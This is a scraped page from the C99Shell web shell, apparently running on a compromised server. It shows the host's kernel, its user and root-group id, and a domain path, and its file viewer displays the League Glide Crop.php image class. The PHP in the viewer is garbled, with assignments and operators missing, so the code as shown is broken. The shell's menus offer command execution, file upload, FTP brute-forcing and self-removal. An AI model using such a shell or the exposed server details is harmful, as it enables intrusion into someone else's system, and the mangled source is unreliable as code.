!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/league/glide/src/Manipulators/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Crop.php (2.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\Glide\Manipulators;

use 
Intervention\Image\Image;

/**
 * @property string|null $crop
 */
class Crop extends BaseManipulator
{
    
/**
     * Perform crop image manipulation.
     *
     * @param Image $image The source image.
     *
     * @return Image The manipulated image.
     */
    
public function run(Image $image)
    {
        
$coordinates $this->getCoordinates($image);

        if (
$coordinates) {
            
$coordinates $this->limitToImageBoundaries($image$coordinates);

            
$image->crop(
                
$coordinates[0],
                
$coordinates[1],
                
$coordinates[2],
                
$coordinates[3]
            );
        }

        return 
$image;
    }

    
/**
     * Resolve coordinates.
     *
     * @param Image $image The source image.
     *
     * @return int[]|null The resolved coordinates.
     *
     * @psalm-return array{0: int, 1: int, 2: int, 3: int}|null
     */
    
public function getCoordinates(Image $image)
    {
        if (
null === $this->crop) {
            return;
        }

        
$coordinates explode(','$this->crop);

        if (
!== count($coordinates) or
            (!
is_numeric($coordinates[0])) or
            (!
is_numeric($coordinates[1])) or
            (!
is_numeric($coordinates[2])) or
            (!
is_numeric($coordinates[3])) or
            (
$coordinates[0] <= 0) or
            (
$coordinates[1] <= 0) or
            (
$coordinates[2] < 0) or
            (
$coordinates[3] < 0) or
            (
$coordinates[2] >= $image->width()) or
            (
$coordinates[3] >= $image->height())) {
            return;
        }

        return [
            (int) 
$coordinates[0],
            (int) 
$coordinates[1],
            (int) 
$coordinates[2],
            (int) 
$coordinates[3],
        ];
    }

    
/**
     * Limit coordinates to image boundaries.
     *
     * @param Image $image       The source image.
     * @param int[] $coordinates The coordinates.
     *
     * @return int[] The limited coordinates.
     */
    
public function limitToImageBoundaries(Image $image, array $coordinates)
    {
        if (
$coordinates[0] > ($image->width() - $coordinates[2])) {
            
$coordinates[0] = $image->width() - $coordinates[2];
        }

        if (
$coordinates[1] > ($image->height() - $coordinates[3])) {
            
$coordinates[1] = $image->height() - $coordinates[3];
        }

        return 
$coordinates;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--